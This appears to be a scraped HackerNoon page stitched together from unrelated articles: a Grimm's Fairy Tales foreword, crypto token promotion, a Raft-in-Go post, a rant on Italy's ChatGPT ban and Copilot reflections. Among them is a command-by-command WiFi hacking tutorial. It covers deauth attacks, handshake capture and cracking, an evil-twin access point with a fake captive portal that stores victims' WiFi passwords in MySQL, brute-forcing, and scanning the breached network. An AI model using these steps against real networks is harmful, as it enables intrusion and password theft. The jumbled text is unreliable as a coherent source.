Lorisis in the Field Force Automation Industry

Loris

loris

How Understanding CPU Caches Can Supercharge Your Code: 461% Faster MatMul Case Study

Grimm's Fairy Tales by Jacob and Milhelm Grimm, is part of the HackerNoon Books Series. You can jump to any chapter in this book here .  FOREWORD FOREWORD To our American boys and girls is offered this volume which is really Grimm’s Fairy Tales, not an abridgment superficial and colorless, nor an insipid retelling of the stories. This edition is based on the Hunt version, with an introduction by the folk-lorist, Andrew Lang. The Hunt version is considered a most accurate English translation. From the full collection, fifty-one stories suitable for children have been selected. Among these are famous tales as well as many delightful ones not usually included in children’s volumes. Where the Hunt wording is too stilted, the text of the Hausmärchen itself has been followed. The very long sentences have been subdivided. While that quaint old-fashioned translation, illustrated with woodcuts by Wehnert, has contributed its bit of folk phraseology. The Editor’s desire is to restore to the children as large a collection as possible of Grimm’s Fairy Tales unmutilated in their literary perfection. The illustrations are by the well-known Dutch artist, Mrs. Rie Cramer. Some of Rie Cramer’s other fairy tale pictures published in England, are said by admiring critics there, to be very charming, of exceptional merit, and to have high artistic merit of their own. Her illustrations for Grimm are particularly harmonious in color, while their quaint charm grows on one more and more as one lives with them. They are fanciful or humorous. They have the quality, rare in fairy tales, of actually illustrating their text. This will mean added pleasure to the children. Rie Cramer’s little black and white headings are particularly pretty and graceful in outline. 6 The tales are presented here in their original form, with nothing left out of child-heartedness, humor, poetic feeling, and delicate sentiment and fancy. Indeed, it is all here—the poesy and purity which those profound and child-loving scholars, the Brothers Grimm, retained in the old folk-tales which, with so much pains, they gathered largely from among the peasant-folk themselves. And the Brothers explained, in their preface, that they had planned the volume as an educational book as well as one for scholars; for which reason they had eliminated everything which they feared might harm the children. But since the Brothers issued their book, about a hundred years ago, educational requirements of what is ethically best for children have materially advanced. Therefore, in this book, a few other parts unsuitable for children have been omitted. So now this volume of Grimm’s Fairy Tales is offered to our American boys and girls; and may they have continued delight in the beautiful old folk-fictions, which have come down to us from the fresh and sparkling meadows and woods of ancient days. Fathers and mothers, too, will enjoy reading the tales aloud and sharing with the children the humor and the deep but simple ethical truths so tenderly and poetically set forth therein. Teachers and story-tellers, also, may find in this sincere version, rich material for kindling the imagination and feeding the poetic fancy of their pupils. 7 The Editor, Frances Jenkins Olcott. About HackerNoon Book Series: We bring you the most important technical, scientific, and insightful public domain books. This book is part of the public domain. Jacob Grimm and Wilhelm Grimm (2016). Grimm's Fairy Tales. Urbana, Illinois: Project Gutenberg. Retrieved October 2022, https://www.gutenberg.org/cache/epub/52521/pg52521-images.html This eBook is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included with this eBook or online at www.gutenberg.org , located at https://www.gutenberg.org/policy/license.html.

FOREWORD

11 Ways Your Competitors Can Hit You With Negative SEO Attacks And How To Bolster Your Defenses

In this article, we will discuss the best ways to hack a WiFi network and what we can do to avoid falling prey to WiFi hacks. Topics to discuss. Hardware tools required. Software required. How to hack wifi. a. using a 4-way handshake. b. using evil twin attack. c. using direct bruteforce. d. using a 2-way handshake. What to do after hacking wifi? How to prevent such attacks? problems and issues faced in such attacks. . Hardware tools required The main hardware requirement is a WiFi adapter that can support monitor mode. The preferred one is an Alfa adapter because it is easy to use in Kali Linux. Another tool you can use is a raspberry pi for password cracking or you can use a separate computer for the same use. . Software requirements There is a wide range of software that can work for hacking WiFi. I will list a few: Wifite Aircrack-ng Kismet Reaver batch_wifi_brute_forcer(windows) These are the mainly used tools in WiFi hacking. The first 4 are popular but the last one batch_wifi_brute_forcer is a tool developed by TUX which uses windows utility which is netsh which is used for wifi connection in windows. I will discuss the working of this tool in detail later in the article. The rest of the tools work on capturing the hash pcap and cap file and the crack them using hashcat, aircrack-ng, and some other tools. . Using the 4-way handshake method :- Overview The 4-way handshake is capturing the WPA or WPA2 hash by intercepting the traffic of the access point and a machine connected with the target access point. We can achieve this by simultaneously DOS attacking the connected machine for the authentication to happen and the hash to be exchanged by each other in this case the access point and the connected machine. In this kind of attack, we use the tools which come with the aircrack-ng suite on the software side, and on the hardware side, we need a wifi adapter that supports monitor mode. Actual attack:- At the start of the attack, we need to first put the adapter on monitor mode using the module. airmon-ng $ sudo airmon-ng The above command will list all the wifi adapters. $ sudo airmon-ng start wlan0 This command will put your module to monitor mode but it is important to remember what name has your adapter is assigned as a name it can differ (just check once). The next step is to discover the target SSID I am using an online picture as I cant use mine for obvious reasons hope you understand. We are using the airodump-ng module to search for the targets. $ sudo airodump-ng wlan0mon The above command will show the signals from all the nearby access points. Now, after deciding the target, you need to start discovering the connected devices to the access point. Now you need to concentrate on some data from the above image first the BSSID of the access point the ESSID of the access point the ENC or encryption and the channel which is CH These are the necessary information for the next process. $ sudo aireplay-ng --fakeauth 0 -e "your network ESSID" -a 00:01:02:03:04:05 -o test.cap wlan0mon In the above attack, we are using the module. Using the we can specify the channel on which the target is working. We can use thee to specify the ESSID of the access point We can specify the BSSID of the target and using the we can specify the attack vector which is a module and at last we specify the wifi adapter which is on monitor mode and using the we can specify the output file which here I have specified for easy access. aireplay -c, -a. -fakeauth fake auth -o test. cap Now cracking the collected packet which is easy in this case. $ sudo aircrack-ng test.cap -w passwords.txt In the above command, you will provide the capture files, and using the we will provide the password file and if you are lucky the password will be there in your password file and you will get it by cracking it. -w Or if you are not interested in DE authenticating the target you can use this attack. $ sudo aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 -o test.cap wlan0mon And then crack the capture file. :- Conclusion We can conclude this attack by telling or more precisely warning you that capturing the packet is the easy part and cracking the hash will make you depressed and I am serious. Keeping that aside this is an effective method to hack wifi. Using evil twin attack. :- Overview An evil twin attack is an attack in which the hacker pretends to be the actual access point and trick the user to connect and give out the password to the actual access point it overhears the password in between the conversation. The major advantage of this attack is you need not use password cracking as you will get the plain text password instead of a hash. Actual attack:- For this attack, we are going to do it manually using a monitor mode adapter. First, install the necessary packages:- $ sudo apt install hostapd dnsmasq apache2 Second, put the adapter on monitor mode:- $ sudo airmon-ng start wlan0 Third, make a directory on the home of your desktop:- $ sudo mkdir ~/fap && cd ~/fap Forth configure the hostapd.conf file:- $ sudo nano hostapd.conf 
-----------------<nano>-----------------
interface=[INTERFACE NAME]
driver=nl80211
ssid=[WiFi NAME]
hw_mode=g
channel=8
macaddr_acl=0
ignore_broadcast_ssid=0
---------------------------------------- Now in the above config file, we have to specify the monitor mode interface in the interface section and specify the target SSID in the SSID section after changing just do type and accordingly to save the file. ctrl+x y enter Fifth configure dnsmasq.conf file:- $ sudo nano dnsmasq.conf
-----------------<nano>-----------------
interface=[INTERFACE NAME]
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
---------------------------------------- And in this, you need to just specify the monitor mode adapters name that’s it. Sixth create the routing table and gateways:- $ sudo ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
$ sudo route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 Seventh create a network DHCP and provide internet access to the iptables:- $ sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
$ sudo iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward Start the SQL database to store the password and user, etc for later use. $ service mysql start
$ mysql
[Database]> create database fap;
[Database]> create user fapuser;
[Database]> grant all on rogueap.* to 'fapuser'@'localhost' identified by 'fappassword';
[Database]> use fap;
[Database]> create table wpa_keys(password1 varchar(40), password2 varchar(40));
[Database]> ALTER DATABASE fap CHARACTER SET 'utf8';
[Database]> select * from wpa_keys; Captive portal to trick the wifi user:- Download the web framework website whichever you want but it should look legit. Now to create folder in the /var/www/html/ :- $ sudo rm -rf /var/www/html/*
$ mv ~/Downloads/fap.zip /var/www/html
$ cd /var/www/html
$ unzip fap.zip 
$ service apache2 start Now to start the attack we need do back to the fap folder in the start which is in the home directory. $ cd ~/fap
$ hostapd hostapd.conf
$ dnsmasq -C dnsmasq.conf -d
$ cd /var/www/html/
$ dnsspoof -i wlan0mon Now you just need to DOS the actual access point by using your favorite tool and wait for the user to connect to you. . commands copied directly from zsecurity resources :- Conclusion Now after he connects to you he will be prompted for a login where he has to enter the wifi password where if it is a stupid wifi user he will without hesitation and the password will be stored in your MySQL database. This is a really powerful attack and makes hacking wifi easy. Direct Bruteforce. Overview:- Direct Bruteforce is a method is a technique that I love mainly because I have worked on the tool and secondly it is easy to use. It is Windows only for now and it uses the netsh command-line utility for hacking the wifi network it scans the nearby networks and using the SSID of the target it uses a connect YAML file which is temporarily made to do the auth of the connection and if it is correct it will connect to the network. Actual attack:- I will be using the batch_wifi_brute_forcer tool which I use personally and works best and it is very straightforward. The command is simple just enter wifiscan to scan the networks select a network from the shown list and after that type of attack. [wifi]> wifiscan
[wifi]>( select network )
[wifi]> attack Done that’s it to add more passwords to the password list you can add a password file in the BF_Files folder but make sure to rename it passfile.txt as it is the default. :- Conclusion This is slow and buggy but it is accurate and effective in all the ways possible. For comparison, this is just like a slow Loris DDOS attack but for wifi. If you want to download the tool from . batch_wifi_brute_forcer Using a 2-way handshake. Overview:- This is similar to the Evil-Twin attack but this is a different kind of attack which has password cracking also in this attack. In this attack, you are tricking the user to connect to your network and during the 4-way handshake process we will just capture the hash he provides to connect to your network and in this attack, we will be using aircrack-ng and Wireshark we will use aircrack-ng to deauth the user and use Wireshark to filter and capture the packets we want. Actual attack:- In this attack, we will first focus on setting up a hotspot on your mobile phone with the same SSID of the network you want to hack and then using Wireshark and aircrack-ng we will filter the packets and crack them. First:- Put your wifi adapter on monitor mode. $ sudo airmon-ng start wlan0mon Second:- We need to discover your mobile hotspot. $ sudo airodump-ng wlan0mon
(this will show all the nearby networks and access points) Now in the received data, you have to copy the channel your hotspot is running on and you need to copy the BSSID and ESSID, then you can continue with the following steps. Third:- We need to start deauthing the actual network to disconnect the people from connecting to that instead connect to your fake hotspot and simultaneously starting your Wireshark listening on that channel. For this example, I am using channel 10 as an example. $ sudo airodump-ng wlan0mon -c 10 & wireshark This will start the Wireshark listening on channel 10. Now you need to search for the beacon frame which has the ESSID of your hotspot and now in that packet search for the transmitter address and then now enter this as your filter to filter out the incoming and outgoing packets from that beacon frame. wlan.ta == <transmission address> || wlan.da == <transmission address> After this, you can see all the incoming packets and outgoing packets from the beacon. Now once the victim tries to connect to the network you can capture it using Wireshark. Type the following command to filter out the password communication between the beacon and the victim. eapol || wlan.ta == <transmission address> || wlan.da == <transmission address> This will filter out the eapol or the correct hash of the original wifi network. Now you can just save the capture in a pcap format using the Export Specified Packets and export the packets from the filter. Now it is an easy thing to just crack the password using cracking software like aircrack-ng, rainbow crack, hashcat, omphcrack, etc. Conclusion:- This is an effective method as you need not do a lot of deauthing to get the password just use a simple trick to fool the users. What you can do after hacking wifi? Once you have gained access to the network you can access all the connected devices in the internal network this is easy as you just need nmap for scanning the entire network to list out the open ports in the machines connected to the network for example if there are 20 different system connected to a router which has a gateway 192.168.1.1 and you have the IP of 192.168.1.20 and by default, there can be a maximum of 200 devices connected to the router which is 192.168.1.200 so you can use this command to search and list out the machines. $ sudo nmap -sV 192.168.1.1-200 This will scan the internal network and show all the open ports of all the machines connected to the access point. After this, it is your turn to scan and find a vulnerable port or service and exploit it and get the most of the person’s machine. This can be easy even for a beginner to do as it is basic enumeration and exploitation. I will explain how we can do this with a simple example. You can follow along with your practice setup. Objective: search and select your target I will first find out my IP gateway and subnet. $ ifconfig you can find out your default gateway and how is the subnet is programmed for now I will assume it is and your IP is 192.168.1.1 192.168.1.20. Run this command to discover all the connected devices. $ sudo nmap 192.168.1.1/100 The above command will list all open network systems. Let’s consider that our target IP is Let’s enumerate that system. 192.168.1.10. $ nmap -sV -A -p- 192.168.1.10 The above command will show the basic info about the target system and like this, you can enumerate the system further. Accordingly, you can find the right way around and hack your target system in your practice configuration. Disclaimer/warnings: If you don’t want to see yourself in jail for 3-10 years without the option of bail and another 1 year of no electronics with internet so don’t do things that can cause you harm and others harm also learn hacking but ethically. For me, the second option no electronics with the internet scares me the most. How to prevent such attacks? To prevent such attacks the most basic thing you can do is to use a long and complex password if you have high priority works in your system it will not harm you by having a huge password as it will protect you from your boss’s anger to lose such classified data. On the network side, you can update or upgrade your firewall protection and reduce port forwarding to many ports reducing the chance of getting hacked internally. On the personal computer side, you can reduce the services or update the services to get the latest patched version of the service and servers. These are the most basic level of prevention you can follow but there are more advanced ones but I don’t want to eat your head by increasing the length of this article also. Problems faced during these attacks. The main issue is password cracking which a lengthy, painstaking, and kills us from inside cracking the password as we need to provide the password file which is probably 2-3 gigs in size and contains passwords of about 3 crore passwords in total and takes 2-3 days to complete totally and may not work also so yes it’s frustrating. The second issue is that it is long and if we miss even one step the entire attack won’t work or even start from the beginning. Or the worst thing is that the person who has a long and strong password makes it difficult for you to crack it. . Conclusion I conclude this article by telling you to need to learn hacking but ethically and make sure that you don’t hack some gov person go behind bars so beware. Suggestions. I am writing articles on various hacking topics but I don't know which one is the most required in the present trends in the security field so if you have any topics on which you want articles on the feel free to contact me on the below-given links. And I am planning to write a walk-through on try hack me rooms so if you have any suggestions contact me. Sources. ** **And that's it. Zsecurity Contact me. INSTAGRAM TWITTER EMAIL: morpheuslord@protonmail.com

How to Hack Wifi Like a Pro Hacker

Cómo hackear wifi como un hacker profesional

Hello Hacker Noon writers! Today we’re going to talk about Den.Social’s token economy. There are indeed four separate tokens that can be used in Den each with its own purpose. We know it seems like a lot and it can be a bit overwhelming. But, we really think you will have a lot of fun here so stand firm fellow writers and we’ll help you out. Disclaimer: If you are just joining us and have no idea what a Den is check out and make sure to the blue paper. Wondering what is in it for you? Find out . Now back to our regularly scheduled blog post. this read here The cool thing about Den is that you don’t have to know everything to get started. You can join and interact without any knowledge of the tokens. But it does help so let’s get to it. The one paragraph in a nutshell explainer is really simple. Come. Read. Sign up. Subscribe to Lairs. Engage using NRG. Get rewarded with MTR to increase your NRG. If you find the content valuable for the Lair it’s posted in, vote it up. If not vote it down. Want to add to the conversation? Make a reply. Want to share it with other social media sites? Share it. Want to own a piece of a Lair? Commit LOR. Want to be a part of managing the Den platform? Grab a Den Governance LOT. Got it? Great! Thanks for stopping by. Just kidding, let's break it down a bit. Think of the Den and its tokens as various levels in gaming. Mastering each allows you to level up and build off the last. Level 1 Stop in and look around. You can discover Lairs and read posts within the Lairs. There is no need to sign up and log in. If something strikes your fancy and you want to join in on the conversation you will have to sign up and log in. Now you get to level up. Level 2 Sign up with an email and log in. Upon sign up, you will receive 24 Energy (NRG). Every upvote, downvote, post, and reply will cost NRG. It’s kinda like if Jack made you spend something to tweet or like a tweet. NRG is internal to Den and it has no monetary value. When you spend your NRG it replenishes at a rate of 1 NRG per hour. So after 24 hours, you will have 24 NRG. It’s important to note that it is not cumulative. Meaning, if you have 24 NRG today and don’t spend it, then tomorrow you will still have 24 NRG, not 48 NRG. Think of NRG as a points system. The cost of each action is as follows: Votes- 1 NRG *see note below Reply- 2 NRG Reply with an image- 3 NRG Post- 5 NRG Post with an image- 8 NRG Just by understanding and completing Level 2, you can have a nice experience in Den. But, you may have noticed three letters under your NRG total. That’s Matter (MTR) and that’s where you get to level up. *Vote as much as you want. Each up or down vote is counted by Fibonacci numbers. For example 1,2,3,5,8,13, etc Level 3 This is where the tokenomics start to get interesting. You could hang out in Den with 24 NRG but maybe you are having so much fun you want to keep the conversation going. To get more NRG you will have to earn some MTR. Think of MTR as a reward for posting, evaluating, or replying to the best content, quickly. When that happens you receive a proportional share of a reward pool of 1000 MTR for that day. When you start getting MTR you will notice that your NRG starts to climb above 24 NRG. There is a reason for that. In addition to the 24 NRG that replenishes every 24 hours, you will now get more NRG in the amount of your MTR. For example, if you have 48 MTR then every 24 hours your NRG total will be 72 NRG. (48 MTR+24 NRG=72 NRG per 24 hours) Something to keep in mind. This total is spread out over 24 hours soooo every hour you will increase your NRG total by 3 NRG. For example 48 MTR+24 NRG=72 NRG. 72 NRG/24 hours= 3 NRG. MTR is an ERC-20 token and as such has value. The value of each MTR fluctuates like any other traded ERC-20 token. You can buy and sell MTR . here We know, we know. It’s all necessary though. All this is done on the back end so you really don’t have to worry about it. The system keeps track of your NRG and MTR so just have fun and it will be all good. But, if you really want to know how the algorithms works, check out the white paper . here Now that you are posting, replying, and evaluating you are ready to level up! Level 4 Den’s engagement pool rewards Denizen’s for spreading the word. We want to bring new people into Den so they can have as much fun as you! Those who share posts, either their own or from another Denizen will be included in the daily MTR engagement pool and earn more MTR. So after you post it, share it. Once you do you can level up. Level 5 Now that you are really diggin’ Den - maybe have a few extra dollars in your pocket - you may be ready to propose a Lair or bid on a proposal you find interesting. Not everyone will want to have ownership in a Lair but if you do here is the gist of Lair ownership. Every month people will propose and bid on new Lairs. To bid they will use their Lair Ownership Right (LOR) tokens. LOR is an ERC-20 token and like MTR has value. You can purchase LOR . here Den will be rolling out LOR farming to give Denizens additional ways to earn LOR to participate in Lair ownership. Stay tuned for more information coming soon! If the Lair you proposed or committed LOR to wins, then the amount of LOR you committed will be moved to a smart contract and “exchanged” for an equal amount of Lair Ownership Token (LOT). For example, if you bid 500 LOR then you will get 500 LOT in return. Every LOT is an NFT and represents a proportional share of ownership of a Lair and provides you with a bit of passive income. It is important to note that in the community Lair creation process you won’t be the sole owner of the Lair. Anyone who bids on a winning Lair will have proportional ownership. This dynamic creates a community that has “skin in the game” and is invested in the Lair’s success. As a Lair owner, you will have shared admin, moderation, and governance rights to assist in creating the desired culture within the Lair. You will also receive a proportional share of the Matter (MTR) mined by that Lair based on activity. You can learn more about it . here We know there are some very unique aspects to Den that may take some getting used to. Den’s goal is to provide the best content to the consumer earlier than any other platform. We take control out of the hands of a single entity and put it in the hands of the community. The longer you are here you will see how Den gives you the power to decide for yourself what is valuable. Don’t get bogged down with knowing every aspect immediately. Just have fun. Come check us out at . If you have questions before joining, pop into our . Den.Social Telegram channel

Den.Social: Community Ownership and Passive Income with NFTs

As part of my continuous learning journey, I recently picked up a Distributed Systems class from MIT that uses Golang in its labs. The course is great: all the lesson registrations and supporting materials are available online and are summarized in the . syllabus I especially liked the idea that I could learn something new about distributed systems, fine-tune my Golang skills, and build something cool by developing the take-home assignments at the same time. I wasn't disappointed. After taking upon a MapReduce simple implementation, I was ready to tackle the Raft implementation by following the design outlined in the . extended white paper Delving 1 Level Deeper Since I was implementing Raft from scratch, I had to build directly on top of the Go language itself without any recourse to external libraries or snippets of code. Of course, this means that I gained a pretty close relationship with basic building blocks such as and package. sync net/rpc Often, to really understand what I was doing, I needed to peek into the Go source code itself, an activity that I dismissed as "unnecessary" many times. One of the advantages of Go is that it's a small language: a beginner with a basic knowledge of its syntax can get pretty far before getting confused. On top of that, the standard packages of Go are really lovely and natively provide many of the goodies (networking, unit testing, logging) that other languages provide only through 3rd party packages. Hence, peeking in libraries like is not intimidating as it may seem because everything is built from a limited set of logical elements. sync Developing knowledge of what's happening 1 or 2 levels below my own code has given me a new level of confidence in what I was doing, especially when the documentation would mention some details just in passing and leave my imagination running wild over the possible low-level behavior of a certain library. Interestingly, I started to take a habit to explore and delve into totally different languages and codebases for the pleasure of discovery: in this way, I was able to tackle some bugs that previously looked pretty esoteric. Concurrency in Go 90% of my committed lines of code are written in Golang. It's easily my main language, used both at work and for leisure coding. However, the use I made of the language in a typical project usually revolves around: designing and implementing RPC APIs coding business logic defining suites of unit and integration tests extending some CLI utility tool The above activities are all nice and sweet, but it's undeniably a type of programming that sits at a pretty high level of abstraction, leaving many interesting tech problems at the doorstep. Implementing my own version of Raft allowed me to dive head-first into concurrency without restraints. I already knew about Goroutines, and I somewhat used them in the past, but never to the level I had to think too hard about them. Detecting candidates for concurrency it's not the difficult bit, as it's usually obvious that network operations and long-running background tasks deserve their own thread. The challenge is to correctly manage concurrent data access from the various goroutines and figure out how the different threads could be interwoven during the execution. Locking critical code sections is the job of the standard package. I choose some of the most basic - but effective - tools available: , and the built-in type . sync Mutex Cond chan was my main choice when protecting access to critical data, such as the Raft node's internal state. I adopted a very coarse granularity when locking code, releasing the lock only before initiating I/O operations or explicitly pausing the goroutine. Mutex It worked pretty well in order to avoid deadlocks and releasing resources for other threads even if, theoretically, some more performance could have been unlocked with a finer management of data access. was an interesting new finding: instead of waiting for a certain number of threads in a (that may or may not bring the system to a desired state), I could wait for every thread to report to the main process, and then immediately proceed if any of them returned the data I was waiting for. Cond WaitGroup Before learning about , I achieved the same goal by inserting additional checks and logic in each goroutine, which is functionally similar but harder to read and understand in my opinion. Cond Building From a White Paper Building directly from the white paper definitely felt different. There is great pleasure in going directly to the root source of knowledge, avoiding silly 10 minutes YT videos or bloated articles that keep beating around the bush without really going to the core concepts. Additionally, a white paper like the Raft one not only explains the high-level design but also goes on to explain why some features were designed in a certain way. Knowing the reason for things was really important to me, as it allowed me to make appropriate decisions while keeping some degree of freedom in taking whatever smart (or dumb) decision I felt like taking at any time. As an added nice bonus, Raft was purposefully designed to be an easy-to-understand consensus and coordination algorithm for distributed systems. While it's not necessarily used in production due to its sub-optimal performances, it deals with crucial concepts and challenges that all distributed systems face, providing a solid foundation that I later used to understand and interpret decisions made in other, more complex algorithms. This is very difficult to do by following a second-hand explanation of the algorithm: I really understood Raft only after reading the extended white paper AND implementing it by myself. Conclusion While challenging - and borderline bewildering at times, implementing Raft was an overall great experience that added many practical tools under my belt and improved my proficiency with Go. Yes - undergoing this project was challenging and time-consuming, even by following hints and re-reading documentation multiple times. Still, the final satisfaction of seeing all the tests pass is immense. Moreover, I feel that the new knowledge I acquired is already overflowing to other projects and even to work-related stuff, so the time I invested in this is already paying me back with interest.

The 3 Important Lessons I Learned From Implementing Raft in Go

As a teenager, I soon had to come to terms with a rough truth: . It's highly unusual to see the name of my country connected to profitable companies, technological breakthroughs, or at least pop culture mainstays. Italy is seldom first The grandeur of the Roman Empire and Renaissance city-states is long gone and even the Italian economic miracle of the 60s, an industrial and social revolution that gave Italy a respectable seat in the G8, is now a distant memory. I can barely believe that just 30 years ago, Italy was the 4th biggest global economy, ahead of ex-colonial powers such as the United Kingdom or France. Sure, we still manage to retain some face by exporting our beloved abroad: , , and pretty . cultural icons fast cars fashion good food However, this also connects us to our heritage in a grotesque way, as I found out the last time I took a taxi ride abroad. “Oh, you're from Italy,” the driver told me with a big smile. “You are one of the then!” pasta people You may now understand why, as a citizen of a country whose relevance is waning on the global scene, I'm not accustomed to seeing Italy at the center of international interest. Imagine my utter disbelief to see my home country all over the news, while lazily strolling in , on the other side of the world. Cape Town International Airport " ".  Now, this is some real leadership! Our Roman ancestors would be so proud of us. Italy's first West country to ban ChatGPT Think Of the Children! From a formal standpoint, I have no reason to assume the sanction against OpenAI is unlawful - I don’t have the legal training required to make a similar assessment. The , which is a established in 1996 with the mandate to safeguard the data privacy of Italian citizens. measure was issued on the 31st of March by the Italian Garante government agency The Garante intimated OpenAI to stop gathering data from users in Italy, on the grounds of various alleged infractions, and gave a 20-day ultimatum to the US company before starting to issue mighty fines of up to 4% of the annual turnover or €20 million (whichever is higher), which is in line to the European GDPR regulation. privacy laws However, the official statement from the Garante and the context of the ruling contain many that don't sit right with me. troubling details Why, of all nations, (and at the time of the writing, the only one) to issue such a ban? Let's be brutally honest here: the percentage of people fluent in English in this country is one of the lowest in Europe. is Italy the first On top of that, generally speaking, Italian society has quite a conservative approach toward innovation and technology, since the fundamental fabric of its economy is characterized by family-led SMEs, often operated over the course of multiple generations. All things considered, how many people are really taking advantage of a tool that was not trained in the Italian language, and to what extent? How much data was really stolen from unaware Italian cybernauts? I can only assume that the answers to these questions are incredibly . underwhelming On the other hand, one could say that numbers don't matter when our privacy is at stake: OpenAI is failing to inform and protect its users, so it will be punished. dura lex sed lex. However, what is really bewildering is a further claim from the Garante. Apparently, OpenAI is not correctly verifying the age of children under the age of 13, corrupting our youth and exposing kids to a dangerous AI chatbot. To add some context to international readers, children's rights - and the need of protecting them - is a recurring topic in the current Italian debate, often in relationship with the . alleged dangers coming from the LGBTQ+ community I would never have imagined that OpenAI would be included in the blacklist of child offenders, along with Gay Prides and gestational surrogacy. The most surprising fact is that the Garante worries about regulating children's access to the Internet only now, in 2023, after almost , and it reacted by immediately showing its muscles. 3 decades of idleness I wonder if the officials working at the Garante were imprisoned in a cryo-chamber during WW2, and after being exhumed last Friday they panicked at the state of our current world and hit the first big red button at hand's reach labeled " ". If that's the case, they have many buttons to push now. STOP! The third and final claim is equally absurd. Apparently, can be a dangerous aid in fabricating and distributing . I would like to report to the Garante that Social Media (and by extension, search engines) are full of fake news, conspiracy theories, and intrusive ads featuring obvious scams. ChatGPT fake news I could create a WhatsApp group chat right now with the only goal to share a dubious article about how pineapple pizza is a covert medium for 5G microchips. Where is Meta's ban? Honestly, even some reputable media outlets are getting lax with their story verification. Why is the Garante striking the new kid on the block, and why only now? Conclusion I can't dispute the decision from the Garante. OpenAI is failing to respect privacy laws and was not timely in reacting to a serious data breach on the 20th of March: It is difficult to speculate what kind of legal countermeasures the company will take now as a remediation. However, the decision from OpenAI to block ChatGPT in Italy makes perfect sense and it has its merits as a possible long-term measure: why even worry about a country that barely brings in any revenue? Still, the unusually prompt and firm decision from the Garante has the of political clout used to hide fear and ignorance: . bitter aftertaste Let's be the first to act, so we can continue to be last

Italy Stopping ChatGPT Is BS: Here's Why

ইতালি চ্যাটজিপিটি বন্ধ করছে বিএস: কেন তা এখানে

Italien, das ChatGPT stoppt, ist BS: Hier ist der Grund

Italia detiene ChatGPT es BS: he aquí por qué

L'Italie arrête ChatGPT, c'est BS : voici pourquoi

इटली स्टॉपिंग चैटजीपीटी बीएस है: यहां जानिए क्यों

イタリアがChatGPTを停止するのはBSです：これが理由です

이탈리아가 ChatGPT를 중단하는 것은 BS입니다: 이유는 다음과 같습니다.

Itália parar ChatGPT é BS: aqui está o porquê

İtalya'nın ChatGPT'yi Durdurması BS: İşte Nedeni

Ý ngừng trò chuyệnGPT là BS: Đây là lý do tại sao

意大利停止 ChatGPT 是胡扯：原因如下

Despite covering a few months ago, I didn't take the next logical step to try Copilot, Github's AI coding support tool. However, my interest was sparked last week, as a coworker of mine shared a screenshot of an AI-generated test suite. some neat ChatGPT feats The prompt was reasonably simple, and the generated test cases were relevant; enough to make me want to subscribe to GC free trial and contribute to the advent of the singularity event. I will avoid covering in detail what Copilot can or can't do: others already anticipated me by a long shot. The interesting part to me is how I can get to terms with this new technology. In this post, I will also use Github Copilot as a benchmark to infer what an "AI for coding" can do today, as I think it represents the state-of-the-art in the field. The Real Role of AI in Programming Jobs Many spontaneous questions come to mind when thinking about AI in the software domain. Is it useful? Is it dangerous? Will it take our jobs? The most important thing is not cornering ourselves with a limiting mindset and letting our emotions forge some weird narrative around AI - either as neoluddists or utopian techno-enthusiasts. Instead, I find other types of questions more interesting, and way easier to answer: these questions don't imply a "yes" or "no" reply, but usually start with "what", "when", and "where". For instance, What tasks does it facilitate, and what personal skills does it demand? how can I integrate Copilot into my day-to-day work? The value of AI in our work is mostly clear to software engineers. Still, I understand that people from other walks of life may grossly misjudge what the possibilities are, especially as many content creators or journalists like to attract eyeballs by suggesting catastrophic scenarios (or promising that building software is now accessible to anyone). Yes, it's true that tools based on GPT-3 - and just recently GPT-4 - can write code, and yes, the code being generated will often compile and do what is expected from it. However, this doesn't necessarily represent an to my job security, since writing code isn't what software engineers really do. Let me elaborate better. immediate threat Our job is not about typing code into a text editor. We are not stenographers. The job is about deciding what to code. In fact, whenever I am designing software and I finally start typing something into my IDE, I already hold in my mind what the next snippet of code will be like. At this point, AI is just connecting the dots, instantly generating the method or data structure I intended, minus involuntary typos or other obvious mistakes. Even if , as it carries enormous information that GC needs to operate correctly. And you won't get that initial prompt without an engineer behind the keyboard. AI could contribute to more than 80% of some code base, giving the appropriate prompt (the initial 20%) is essential Copilot... or Autopilot? I believe that a good comparison can be made with airplane autopilots. AFCS (Auto-Flight Control System) can perfectly perform a variety of flight operations: adjusting the flight path, approaching an airport, or even landing. I still wouldn't dream of jumping on a commercial flight without any human supervision. The fact that the computer is able to control the plane doesn't mean that the pilots sit idle on the flight deck. There is still plenty to do: checking the weather ahead, communicating with air traffic control, planning alternate routes, and, most importantly, supervising the autopilot and taking the reins if need be. Therefore, we can see how pilots are still the ones flying the plane. In a similar guise, . AI is a tool. Engineers are trained to streamline their workflow by using automation, but they will always monitor what their tool is doing. If it's not behaving as intended, the engineers will jump in and redress the situation. AI doesn't develop software, engineers do This is the mindset that I have when using Copilot: I will gladly delegate to it the menial tasks but, in the meanwhile, I will be vigilant about what output it will produce. Conclusion As you may know, the underlying ML algorithm of Copilot is called GPT-3 and makes predictions of the most likely sequence of tokens to be generated. While the generated code is usually syntactically correct, the tools have no cognition of what the specs are and whether the produced code is valid. A possible countermeasure is helping GC with some prompt engineering: for instance, writing a comment stating what the next snippet does is a powerful technique to help the AI. Even better, sometimes even the comment could be autogenerated after typing in the first few words. However, it must be said that, even under the most ideal conditions, Copilot doesn't always offer a helpful suggestion, or any suggestion at all if that's the case. While GC is pretty amazing, I believe it is still highly imperfect as a coding tool. For now, I didn't decide whether to fully incorporate Copilot in my toolset or not: the hit-or-miss nature of its suggestions can sometimes be a hindrance. In any case, I'd suggest everyone to get their feet wet, and at least try it once: think of it as a utility tool like your syntax highlighter or your favorite IDE's autocompletion feature. What's your opinion on Github Copilot? Did you incorporate it into your daily job or was it a hard pass for you? Don't be shy, and let me know in the comments! Also Published Here

The Modern Coder's Cockpit: My Thoughts on GitHub Copilot

আধুনিক কোডারের ককপিট: গিটহাব কপিলট সম্পর্কে আমার চিন্তাভাবনা

Das Cockpit des modernen Programmierers: Meine Gedanken zu GitHub Copilot

